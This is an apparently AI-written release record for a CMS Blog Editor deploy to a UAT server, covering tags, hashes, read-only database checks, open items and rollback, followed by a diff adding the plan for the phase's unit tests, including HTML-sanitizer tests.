**summercms v0.1.18, sm-journal-plugin 9d5bfc4 and host 6f4f222 are released to UAT. The build there matches the local sha256, and the on-server smoke passes on 98 URLs. On real data, an untouched save of post 64 is byte-identical. A Blog Editor test post stores identical content and content_html with an uploaded figure and a YouTube embed, the embed renders as a youtube-nocookie iframe on the site, and markup that was not allowed was stripped on save. The untouched save of HTML post 1 has no database evidence yet, and the D-19 category check is still open.**
## Performance
- **Duration:** about 25 min of executor time across three runs, plus the human session.
- **Started:** about 2026-10-10T11:10Z, after plan 04 closed.
- **Completed:** 2026-10-10T11:36Z
- **Tasks:** 3/3 (Task 1 blocking-human decision, Task 2 tracer, Task 3 blocking-human human-action)
- **Files modified:** 7 across sm-journal-plugin and sm-grzybyfunkcjonalne-app. summercms.go got only the tag.
## Release Sheet (Task 1)
- **Gate:** the Task 1 verify printed `release-gate-ok`. It covered vet in both Go repositories, the six-test cabana smoke set, the journal classes and controllers tests, TestDocsTree, the admin vitest suite, the admin dist and OpenAPI drift gates, the journal vitest suite and the journal dist gate. All three repositories were clean and not behind origin.
- **Tag:** `v0.1.18`. v0.1.17 was the latest tag, and v0.1.18 did not exist on origin.
- **Commits pushed per repository:**
- summercms.go master `c21fe36..f1d8a75` (19 commits, including planning docs).
- sm-journal-plugin main `c60abc6..9d5bfc4` (9 commits: plans 02 and 03, plus the go.mod bump).
- Host master `0b93ac2..6f4f222`.
- **UAT D-07 split (read-only SELECT):** 102 posts whose content starts with `<` and are served as content, and 3 markdown posts served as content_html. Re-read after Task 3, so the count includes test post 105. Before the test post it was 101:3.
- **Suites not run here (Docker host needed):**
- The modules/cabana testcontainers suites.
- The sm-journal-plugin root harness: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent.
- ./models.
- These are WINDOWS.md entries 14 to 16, which go to plan 06.
- **Review findings:** neither 16.2-REVIEW.md nor 16.2-SECURITY.md exists, so there are no open high findings.
- **Human reply, verbatim:** "release v0.1.18" (release-now).
## Task Commits
| Task | Name | Repo | Commit |
|---|---|---|---|
| 1 | Release gate | (none) | release-gate-ok, no commit |
| 2 | Tag summercms | summercms.go | annotated tag `v0.1.18` (object `04dc5bdabecd95a58b5b7d3a02ed465a45fbc99a`, commit `f1d8a757fd5c1174f7f1959779602e2ad11b0de2`) |
| 2 | Require summercms v0.1.18 | sm-journal-plugin | `9d5bfc4` chore(deps): require summercms v0.1.18 |
| 2 | Bump gitlinks, README note, CSP frame-src | sm-grzybyfunkcjonalne-app | `6f4f222` chore: bump journal plugin (Blog Editor) and the site app (embeds) |
| 3 | UAT acceptance (read-only checks) | (none) | no commit |
**Pushed heads:**
- summercms.go master `f1d8a75`, plus tag `v0.1.18`.
- sm-journal-plugin main `9d5bfc4a3597be8ba4abee26d80dc2b81d343da8`.
- sm-grzybyfunkcjonalne-app master `6f4f22296b6295e2750e3d376bd0300c8031ba51`, with journal gitlink `9d5bfc4a…` and vue-grzybyfunkcjonalne-app gitlink `465286a880f0aae6118c2915aa1475a5da353295` (was `ada03b2`; it pins vue-journal-layer v0.2.0).
## Deploy (Task 2)
- **Build sha256:** local `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4`. The remote copy matched, first as `bin/grzybyfunkcjonalne.new` and again after the move.
- **Previous binary:** `bin/grzybyfunkcjonalne.prev`, sha256 `e5b0ad28ca0384993470ac5a3177d502b7bd0b67c553488f86b43ae3363af232`.
- **Nuxt rollback copy:** `/srv/grzybyfunkcjonalne/nuxt/.output.prev`.
- **Migrations:** `migrate` printed `✓ migrations applied`, rc 0.
- **RESTART_TS:** `2026/10/10 11:17:46` (server time, UTC). Log anchor: `client_id=alexandria_2026_10_10T11_17_46_316300`.
- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
**Snapshot taken before the human saves (read-only):**
- `HTML_POST=1` (10-faktow-na-temat-cordycepsu).
- `SNAPSHOT_POSTS`:
```
1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c
64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c
```
- `SNAPSHOT_TRANSLATIONS`: `64:en:862fc5b362cc9856e6736a2078dca3ba`. Post 1 has no translation rows.
- `POST64_STATE=1:1`. The plan expected `x:0`. Post 64's content and content_html both still contain a `<style` element: one `.author-footer` CSS block, at offset 4584 in content and 5035 in content_html. The style block was not removed from content_html on UAT as the plan assumed. This is reported, not a failure. The untouched re-save kept it byte-for-byte, and a re-read after Task 3 still prints `1:1`.
## UAT Acceptance (Task 3)
**Human reply, verbatim:** "Did tests, all points passed, bravo."
The human confirmed that all four steps passed, including the step 3 strip notice, but did not quote the notice text.
**Read-only checks, run after the reply:**
| Check | Result | Detail |
|---|---|---|
| posts-unchanged | pass | The md5 rows of posts 1 and 64 match the snapshot exactly |
| translations-unchanged | pass | `64:en:862fc5b3…` matches; there are still no rows for post 1 |
| edit-ok | pass | Test post `uat-16-2-blog-editor` (id 105) prints `1:1:1:1:1`: content = content_html, a `data-embed="youtube"` placeholder, a figcaption, an image under `/storage/app/uploads/public/journal/posts/`, and neither `<style` nor `onclick` |
| site-ok | pass | The public page `/blog/uat-16-2-blog-editor`, fetched on the server, has 1 `src="https://www.youtube-nocookie.com/embed/` iframe. The Go log has 14 lines after the restart anchor, with 0 panic and 0 SQLSTATE |
**Which rows the saves wrote:** only post 64 (11:26:13Z) and post 105 (11:29:56Z) have `updated_at` after RESTART_TS. Post 105 is published. Post 1 still has `updated_at` 2026-10-09 17:33:51Z. The admin save runs GORM `Save`, which always sets `updated_at`, so no save of post 1 reached the database. Either it was not saved, or a different post was opened. The posts-unchanged pass for post 1 is therefore vacuous, and D-03 is proven on post 64 only (see Open Items).
## Files Created/Modified
- `../sm-journal-plugin/go.mod`: nominal require of summercms v0.1.18. The go.work replace stays.
- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal` and `vue-grzybyfunkcjonalne-app`: gitlink bumps.
- `../sm-grzybyfunkcjonalne-app/README.md`: an Admin note on the Blog Editor, lossless untouched saves, and stripped markup being reported.
- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`, `scripts/check-deploy.sh` and `DEPLOY.md`: `frame-src https://www.youtube-nocookie.com` in the report-only CSP, its check needle and its docs line.
## Decisions Made
- Release now with v0.1.18 (human, Task 1).
- The real Nuxt rollback path is `nuxt/.output.prev`.
- The site-ok log check reads the supervisor log file from the restart anchor.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 1 - Bug] The plan's Nuxt rollback path was wrong**
- **Found during:** Task 2
- **Issue:** The plan copies, checks and restores `go/build/nuxt/.output(.prev)`. On UAT the Nuxt server runs from `/srv/grzybyfunkcjonalne/nuxt/.output`.
- **Fix:** The rollback copy was made at `/srv/grzybyfunkcjonalne/nuxt/.output.prev`, and the deploy-ok check tested that path.
- **Files modified:** none (server layout only)
- **Commit:** none
**2. [Rule 1 - Bug] The site-ok log check passed vacuously**
- **Found during:** Task 2 (log check), applied in Task 3
- **Issue:** `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go` fails on UAT with an ExpatError. The pipeline then counted 0 matching lines, so the check would pass whatever the log contained.
- **Fix:** Read `/var/log/supervisor/grzybyfunkcjonalne-go.log` directly. The command first requires the restart's River anchor (`client_id=alexandria_2026_10_10T11_17_46_316300`) to be present, then counts panic|SQLSTATE only in the lines after it:
`ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; A=client_id=alexandria_2026_10_10T11_17_46_316300; grep -q "$A" "$F" && awk -v a="$A" "found{print} index(\$0,a){found=1}" "$F" | grep -ciE "panic|SQLSTATE"' | grep -qx 0`
The anchor was still in the file (14 lines after it), so the timestamp fallback was not needed. The file holds 6 older SQLSTATE lines, all from before the restart.
- **Files modified:** none
- **Commit:** none
---
**Total deviations:** 2, both Rule 1 bugs in the plan's server commands. No shipped code changed.
**Impact on plan:** Both fixes make the checks stricter. They do not loosen them.
## Open Items (pending human)
1. **D-03 on an HTML post is unproven.** Save post 1 (`10-faktow-na-temat-cordycepsu`) in `/gfadmin/golem15/journal/posts` without touching the editor. Then re-run the posts-unchanged SELECT and confirm that post 1's `updated_at` moved past 2026-10-10 11:17:46Z.
2. **D-19 category check:** in a category with content, change one word in the Blog Editor and save. No removal notice should appear, and the category page on the site should show the change. Also open post 1's source tab and confirm the stored HTML is unchanged. Not human-verified yet; pending for /msd-verify-work.
3. **Vhost install (root):** install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (frame-src https://www.youtube-nocookie.com), then `sudo nginx -t && sudo systemctl reload nginx`. This blocks nothing, because the CSP is report-only.
4. **Test post `uat-16-2-blog-editor` (id 105) is still published.** Unpublish or delete it when it is no longer needed. The human may keep it for now.
5. **Docker-host suites:** these go to plan 06 (WINDOWS.md entries 14 to 16).
**Rollback, if any open item fails** (on the server, in `/srv/grzybyfunkcjonalne`):
- Move `go/bin/grzybyfunkcjonalne.prev` back to `go/bin/grzybyfunkcjonalne`.
- Move `nuxt/.output.prev` back to `nuxt/.output`.
- Run `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
## Auth Gates
None. The executor never asked for, printed or stored a credential. All admin actions were done by the human. On UAT the executor ran only SELECT queries and on-server curl, apart from the Task 2 deploy steps the human approved at the Task 1 gate.
## User Setup Required
See Open Items 1 to 4.
## Next Phase Readiness
- Plan 06 (unit tests) can run. Its tests ship with the next summercms tag, v0.1.19.
- /msd-verify-work should pick up Open Items 1 and 2.
---
*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
*Completed: 2026-10-10*
## Self-Check: PASSED
- FOUND on origin: tag `v0.1.18` (object `04dc5bd`).
- FOUND: sm-journal-plugin `9d5bfc4`, equal to origin/main. go.mod requires summercms v0.1.18, and the replace stays.
- FOUND: host `6f4f222`, equal to origin/master. The gitlinks are journal `9d5bfc4` and vue-grzybyfunkcjonalne-app `465286a`.
- FOUND: the `frame-src https://www.youtube-nocookie.com` needle in both the staging vhost and check-deploy.sh (1 each).
- Task 3 checks: posts-unchanged, translations-unchanged, edit-ok and site-ok were all printed in this run.
## Post 1 untouched re-save (closes WINDOWS entry 17)
After the human re-saved post 1 (`10-faktow-na-temat-cordycepsu`) untouched, the orchestrator ran a read-only SELECT on UAT:
- Post 1: `updated_at` is 2026-10-10 12:02:40.245712+00, after RESTART_TS, so the save reached the database. The md5 of `content` and of `content_html` are both still `a026264105f900175b9770e637e5ec5c`, equal to the snapshot.
- Post 64 is unchanged: `0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c`.
D-03 is now proven on UAT for an HTML post (post 1) and for a markdown post (post 64).
## Follow-up deploy (preview pane and View site)
On 2026-10-10, everything committed was released to UAT: the Blog Editor live preview pane and the admin "View site" link.
- **Pushed refs:**
- sm-journal-plugin `2c78211`, equal to origin/main.
- Host `0ad1004`, equal to origin/master. Its journal gitlink is `2c78211`.
- summercms.go master `b5c70b7` before this record. It includes `85fe541` (View site) and was pushed to origin as `f1d8a75..b5c70b7`.
- **Binary sha256:**
- New: `c68a2099ec6a67d4cbf74086f501b2af2bb4b54f3e7f94fddc04e459d2ab486f`. The local build, the uploaded `.new` and the installed binary all match.
- Rollback copy `go/bin/grzybyfunkcjonalne.prev`: `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4` (the v0.1.18 deploy from 11:16).
- **Nuxt rollback:** `nuxt/.output.prev` now holds the v0.1.18 output. The old `.prev` was removed before the copy, so `cp -a` replaced it and did not nest into it.
- **Release steps:**
- `scripts/check-deploy.sh`: ok.
- `migrate`: exit 0 ("migrations applied").
- Restart of both programs at 2026-10-10T12:37:43Z.
- **Smoke:** `smoke: ok (98 urls)`.
- **Go log:** checked after the anchor `River client started client_id=alexandria_2026_10_10T12_37_43_865055`. It has 0 panic or SQLSTATE lines and 0 `level=ERROR` lines.
- **Feature checks:**
- The deployed binary contains `blogeditor__preview` and `previewFrame`, from the journal `assets/dist/blogeditor.js`.
- The admin bundle served at `/gfadmin/assets/index-Bqh6wnN4.js` contains `data-view-site`.
- **Tag:** none was cut. v0.1.19 is still pending, after the unit-test plan (06). The plugin go.mod still requires summercms v0.1.18 with the local replace, and the host builds against the summercms.go working tree through go.work.

View File

@@ -0,0 +1,249 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 06
type: execute
wave: 4
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04", "16.2-05"]
files_modified:
- modules/pact/field_type_test.go
- modules/cabana/field_type_test.go
- modules/cabana/field_type_postgres_test.go
- admin/tests/form/PluginField.test.ts
- admin/tests/form/FormField.test.ts
- admin/tests/form/registry.test.ts
- admin/tests/form/formState.test.ts
- admin/tests/app/fieldTypes.test.ts
- admin/tests/list/ListView.test.ts
- scripts/check-phase16.2.sh
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
- ../sm-journal-plugin/classes/blog_editor_test.go
- ../sm-journal-plugin/classes/editor_policy_test.go
- ../sm-journal-plugin/classes/media_store_test.go
- ../sm-journal-plugin/controllers/posts_editor_test.go
- ../sm-journal-plugin/posts_admin_smoke_test.go
- ../sm-journal-plugin/categories_admin_editor_test.go
- ../sm-journal-plugin/tests/blogeditor/element.test.ts
- ../sm-journal-plugin/tests/blogeditor/schema.test.ts
- ../sm-journal-plugin/tests/blogeditor/serializer.test.ts
- ../sm-journal-plugin/tests/blogeditor/embed.test.ts
- ../vue-journal-layer/tests/embeds.test.ts
- ../vue-journal-layer/tests/htmlGate.test.ts
autonomous: true
requirements: [D-02, D-03, D-05, D-07, D-10, D-11, D-12, D-13, D-14, D-17, D-18, D-19]
estimate:
tokens: 125000
raw_tokens: 125000
tasks: 3
confidence: low
must_haves:
truths:
- "CLAUDE.md lean rule 3: every piece of Phase 16.2 code has unit tests in this last plan: the pact types, the cabana registry, compile, decode, skip, load, list, writes accessor, field-types and upload routes, the SPA PluginField, MLPluginField, loader and registry helpers, the Journal field types, media storage and hooks, the editor element, schema, serializer and embed parsing, and the layer's expandEmbeds."
- "Todo journal-imported-html-admin-resave and D-03 at every layer: the element returns an untouched value unchanged, PluginField does not re-set an echoed value, cabana writes nothing and reports nothing for a value equal to the served one, Journal Load serves content for HTML and content_html for markdown, and the Postgres test TestPostsAdminResaveKeepsHTML asserts exact bytes for an untouched HTML post and an untouched markdown post with no meta.notices, and equal content and content_html per locale after an edit."
- "D-11 and D-12: every boot rule (alias pattern, core-type clash, cross-plugin clash, element prefix, missing Decode, option-key pattern and clash, missing AdminFS, asset path and extension) has a failing case; CompileForm stays core-only and settings and relation forms refuse plugin types."
- "D-10 and D-14 (framework): a FormFieldError on the default or a non-default locale is a 422 on the field with no write and no notices; a non-FormFieldError and a non-string translatable Decode value are opaque 500s; FormFieldDecoded notices become meta.notices entries with field and locale, localized (plural forms through Count), at most 10 per field and locale and 500 runes each; a save without notices has no notices key; the SPA renders notices as text under the field and in the saved toast."
- "D-10 and D-02 (Journal, amended): SanitizeHTMLReport returns the input byte for byte with an empty report exactly when the policy keeps everything (property checked over the 35 unsafe payloads, the imported-post fixture and the editor corpus); post and category admin saves strip and report, never answer 422 for markup, and store equal sanitized HTML in content and content_html per locale; an untouched save writes and reports nothing."
- "D-05 (amended): every editor-corpus entry passes the Go policy byte for byte and is safe under the layer's sanitizer, the two corpus copies are identical, and the four editor-output rules admit nothing else (other providers, malformed ids, data attributes elsewhere, iframes stay stripped in both policies)."
- "D-18: the upload route answers 201, 403, 404 (core field, no Upload, out-of-scope record), 413 and 422, and the Journal upload refuses a disguised file and an svg."
- "D-17 and D-05: expandEmbeds expands only exact allowlisted placeholders and runs last, after sanitizeJournalHtml at each sink; a stored iframe never reaches the output; parseEmbedUrl accepts only the four YouTube URL forms."
- "Postgres-backed tests (cabana TestFieldTypeSavePostgres, the sm-journal-plugin admin harness tests including TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent and TestCategoriesAdminBlogEditor) exist, compile under go vet and fail rather than skip without a database; they run on a Docker host before /msd-verify-work."
- "scripts/check-phase16.2.sh runs every runnable suite fail-closed and ends with 'Phase 16.2 gate passed'; 16.2-VALIDATION.md has its per-task map filled and nyquist_compliant true."
artifacts:
- path: "modules/cabana/field_type_test.go"
provides: "registry, compile, decode, skip, load, list, writes and route unit tests"
contains: "TestFieldTypeRegistry"
- path: "modules/cabana/field_type_postgres_test.go"
provides: "real-database save, show and upload tests"
contains: "TestFieldTypeSavePostgres"
- path: "../sm-journal-plugin/classes/blog_editor_test.go"
provides: "Decode, Load, LooksLikeHTML, options, list value, upload tests"
contains: "TestBlogEditorLoad"
- path: "scripts/check-phase16.2.sh"
provides: "phase gate"
contains: "Phase 16.2 gate passed"
key_links:
- from: "../sm-journal-plugin/posts_admin_smoke_test.go TestPostsAdminResaveKeepsHTML"
to: "the cabana untouched skip and the Journal hooks"
via: "PUT of the served value through the real admin API on Postgres"
pattern: "TestPostsAdminResaveKeepsHTML"
- from: "scripts/check-phase16.2.sh"
to: "every suite named in 16.2-VALIDATION.md"
via: "fail-closed stages"
pattern: "check-phase16.2"
prohibitions:
- statement: "No test touches the UAT server, the network or a shared database: pure tests use stubs, DryRun handles or memblob; Postgres tests use throwaway testcontainers databases."
status: unresolved
verification: judgment
- statement: "Tests are not weakened to pass: every existing assertion that still describes the shipped behaviour stays (FormatHTML strip and byte-stability cases, the 35 unsafe payloads, the duplicate-attribute rule, CheckHTML as a predicate, upload sniffing, alias collision, upload permission, sanitize-then-expand order, widget, ML, list-state and SSR expectations); only the two category 422 assertions retired by amended D-10 became strip-and-report assertions (plan 03), and nothing else is relaxed."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
This plan's slice (CLAUDE.md lean rule 3, user decision 1, plan 06): full unit coverage of the phase's code across summercms.go, sm-journal-plugin and vue-journal-layer, the Postgres tests for a Docker host, and the phase gate. This plan changes tests, the gate script and VALIDATION.md only, so no dist or bundle changes.
## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
Admin saves now strip and report instead of refusing, so the refusal-case assertions planned here became strip-and-report assertions: a FormFieldError still answers 422, but markup never does. The plan adds the policy cross-check (the editor corpus against both policies, and the identity of the two copies), category strip coverage, "notices only when something was stripped" and "an untouched save writes and reports nothing". The tests that still hold are unchanged in intent: upload sniffing, alias collision, permission, sanitize-then-expand order, byte-stability, the duplicate-attribute rule.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
## Artifacts this phase produces (this plan)
- Go tests: `TestFormFieldErrorMessage` (pact); `TestFieldTypeRegistry`, `TestFieldTypeOptions`, `TestFieldTypeCompile`, `TestFieldTypeDecode`, `TestFieldTypeNotices`, `TestFieldTypeUntouched`, `TestFieldTypeLoad`, `TestFieldTypeListValue`, `TestFieldTypeWrites`, `TestFieldTypesRoute`, `TestFieldUpload` (cabana); `TestFieldTypeSavePostgres` (cabana, Docker); `TestBlogEditorDecode`, `TestBlogEditorNotices`, `TestBlogEditorLoad`, `TestLooksLikeHTML`, `TestBlogEditorOptions`, `TestBlogEditorListValue`, `TestBlogEditorUpload`, `TestStoreMedia` and the extended `TestEditorOutputPassesPolicy` and `TestSanitizeHTMLReport` (Journal classes); `TestPostsEditorHooks` (Journal controllers); `TestCategoriesAdminBlogEditor` and the extended `TestPostsAdminResaveKeepsHTML` (Journal root, Docker).
- Vitest files: `admin/tests/app/fieldTypes.test.ts`; extended `PluginField.test.ts`, `FormField.test.ts`, `registry.test.ts`, `formState.test.ts`, `ListView.test.ts`; `../sm-journal-plugin/tests/blogeditor/{element,schema,serializer,embed}.test.ts`.
- Layer: extended `tests/embeds.test.ts` and `tests/htmlGate.test.ts`.
- `scripts/check-phase16.2.sh` (stages `go`, `admin`, `editor`, `layer`, `docs`, `postgres`; the layer stage also compares the two editor-corpus copies; flags `--all`, `--self-test`).
<objective>
Bring full unit coverage to Phase 16.2 (lean rule 3), add the Postgres tests for a Docker host, write the phase gate and complete the validation map.
Purpose: every behaviour the phase shipped is pinned by a test that fails when it regresses.
Output: the test files above, scripts/check-phase16.2.sh, an updated 16.2-VALIDATION.md.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md
No Docker on this machine (Pitfall 11): run Go tests with explicit `-run` sets; the testcontainers tests are written to fail rather than skip without a database and are listed for the Docker host. Test helpers to reuse: `openDryRunDB`, `newDryRunListService` (modules/cabana/query_relation_test.go), the recording TranslationWriter (modules/cabana/locale_order_test.go), `crudFixture`/`hookFixture` and `principalCtx` (Postgres fixtures in crud_test.go and crud_lifecycle_test.go), `newPostsEnv` and `adminAPI` (sm-journal-plugin admin harness), `memblob.OpenBucket`. Commits: tests only, `test(...)` messages, no co-author tags, stage by explicit path in each repository.
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: the imported-post resave contract, pinned at every layer (element, SPA, cabana, Journal, Postgres)</name>
<files>../sm-journal-plugin/tests/blogeditor/element.test.ts, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
<read_first>../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, admin/tests/form/PluginField.test.ts, modules/cabana/field_type_smoke_test.go, modules/cabana/field_type.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/posts_admin_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, .planning/todos/pending/journal-imported-html-admin-resave.md</read_first>
<action>Write one test per layer for the folded todo's acceptance (D-03, D-07; "re-save an imported HTML post and assert content and content_html are unchanged").
Element (element.test.ts, happy-dom): for the imported-post fixture and for a markdown post's content_html sample, set value, toggle to the source tab and back without typing, and read value: identical string and zero summer-change events.
SPA (PluginField.test.ts): a stub element that re-emits its current value on connect; the form value stays identical and PluginField never writes the property a second time for an equal value.
cabana (field_type_test.go, TestFieldTypeUntouched): with a translatable stub type (whose Decode always returns a notice) and a recording writer, an update whose submitted pl and en values equal servedFieldValue writes nothing and reports nothing (no projected key, no WriteTranslated call, no FieldWrite, no notice); one changed locale writes and reports only that locale; canonical comparison treats equal JSON objects with different key order as equal and a string "1" and number 1 as different; a create never skips.
Journal (blog_editor_test.go, TestBlogEditorLoad): HTML content is served verbatim (including leading whitespace and a leading HTML comment), markdown content is served as the Translated content_html, an empty content_html falls back to FormatHTML, nil and empty pointers give "".
Postgres (posts_admin_smoke_test.go, Docker host): TestPostsAdminResaveKeepsHTML creates an HTML post and a markdown post through the admin API, reads the served form values with GET, PUTs them back unchanged and asserts content and content_html are byte-identical for both (the markdown post keeps markdown content), that no en translation row was added for an untouched empty en and that the PUT response has no meta.notices key, then PUTs an edited pl and en value of clean HTML and asserts content equals content_html for pl, that the en content_html translation equals the en content, and that no notices are reported.
Commit per repository as test(...) commits, staged by explicit path.</action>
<verify>
<automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/element.test.ts &amp;&amp; npm --prefix admin test -- tests/form/PluginField.test.ts &amp;&amp; go test -count=1 -run '^TestFieldTypeUntouched$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestFieldTypeUntouched' &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorLoad$' -v ./classes/ 2&gt;&amp;1 | grep -- '^--- PASS: TestBlogEditorLoad' &amp;&amp; go -C ../sm-journal-plugin vet ./...</automated>
<fails_when>Non-zero exit: an element or PluginField vitest case fails, no "--- PASS: TestFieldTypeUntouched" or "--- PASS: TestBlogEditorLoad" line, or go vet fails on the updated Postgres test.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func TestFieldTypeUntouched" modules/cabana/field_type_test.go` and `grep -n "func TestBlogEditorLoad" ../sm-journal-plugin/classes/blog_editor_test.go` each print one line.
- TestPostsAdminResaveKeepsHTML compares bytes without TrimSpace and covers an HTML post, a markdown post and an edited save, and asserts no meta.notices on the untouched and clean saves (read the test: three stages).
- The four runnable checks pass; the Postgres test compiles (go vet).
</acceptance_criteria>
<done>The untouched-resave contract is pinned at the element, SPA, cabana and Journal layers here, and on Postgres for the Docker host.</done>
</task>
<task type="auto" tdd="true">
<name>Task 2: Full Go coverage: pact, cabana field types and routes, Journal field types, media storage and hooks; Postgres tests</name>
<files>modules/pact/field_type_test.go, modules/cabana/field_type_test.go, modules/cabana/field_type_postgres_test.go, ../sm-journal-plugin/classes/blog_editor_test.go, ../sm-journal-plugin/classes/editor_policy_test.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/posts_editor_test.go, ../sm-journal-plugin/categories_admin_editor_test.go</files>
<read_first>modules/pact/capabilities.go, modules/cabana/relation_field.go (RecordMeta.Notices, FieldNotice), modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/tx_context.go, modules/cabana/field_ml.go, modules/cabana/list_schema.go, modules/cabana/field_type_smoke_test.go, modules/cabana/query_test.go (Postgres container fixture), modules/cabana/crud_lifecycle_test.go (hookFixture, principalCtx, crudCall), ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/format_html.go (SanitizeHTMLReport, newHTMLPolicy), ../sm-journal-plugin/classes/editor_policy_test.go (plan 03), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads), ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/journal_api_categories_test.go</read_first>
<behavior>
- pact: FormFieldError.Error joins messages with "; "; a nil pointer does not panic.
- Registry: bad alias pattern, core clash, cross-plugin clash naming both IDs, wrong element prefix, reserved or invalid tag, nil Decode, bad and core-clashing and repeated option keys, assets without AdminFS, bad asset path and extension each fail boot with the documented message; valid types register their assets with ?v= hashes.
- Compile: general keys accepted, core type-specific keys refused, option values of every YAML kind decoded, CheckOptions error surfaced, CompileForm refuses a plugin alias, CompileFormWithTypes accepts it, settings and relation forms refuse plugin types.
- Decode/Load: default and non-default FormFieldError become a 422 on the field with no write and no notices; other errors and a non-string translatable Decode value are opaque 500 without the plugin text; nil Load keeps the stored value; Load errors are opaque 500.
- Notices: a Decode notice becomes one FieldNotice with field and locale (none for a non-translatable type); Count selects the plural form and Params fill placeholders through a real phrasebook translator; text that is not a phrase key passes through; more than 10 notices per field and locale are cut to 10 and a message over 500 runes is cut with an ellipsis; the encoded RecordMeta has no notices key when there are none.
- List: ListValue applied, nil ListValue keeps raw value. Writes: copy semantics, false outside save, Before and After hooks see the same writes.
- Routes: field-types sorted, empty list, assets URLs; upload 201, 403, 404 (core field, no Upload, unknown field, context refusal), 413, 422, missing part, id 0 Record nil.
- Postgres (Docker host): create, update, show through the HTTP handlers with a translatable plugin type and the real column; an untouched update leaves the row unchanged; upload with id != 0 outside the FormExtendQuery scope is 404.
- Journal: Decode table (clean string unchanged with no notice; nil gives ""; non-string FormFieldError; each of the 35 unsafePayloads stripped with at least one notice and an output equal to SanitizeHTML; the placeholder and every corpus entry unchanged with no notice); removal notices (order elements, attributes, comments, other; Count; names joined; ellipsis after 10 names; every key present in lang/en with one and other and in lang/pl with one, few, many and other); SanitizeHTMLReport property over the unsafePayloads, the imported-post fixture and the corpus (report empty exactly when the output equals the input); the corpus cross-check negatives (other provider, 10- and 12-character ids, data attributes on other elements, extra data attribute on figure, onload on the placeholder, iframe); LooksLikeHTML table; options (htmlColumn identifier, uploadFolder rule); ListValue (tags stripped, 120-rune truncation); Upload (png, jpeg, gif and webp sniff, disguised text, svg, safe names, size, missing bucket); StoreMedia (extension, size message, key layout, unique suffix, URL); hooks (create and update, default and non-default writes, no writes, no writer); categories on Postgres: content saved through blogeditor, blank to NULL, unsafe content stored stripped with a notice in meta.notices and no 422, safe content byte-identical with no notices key.
</behavior>
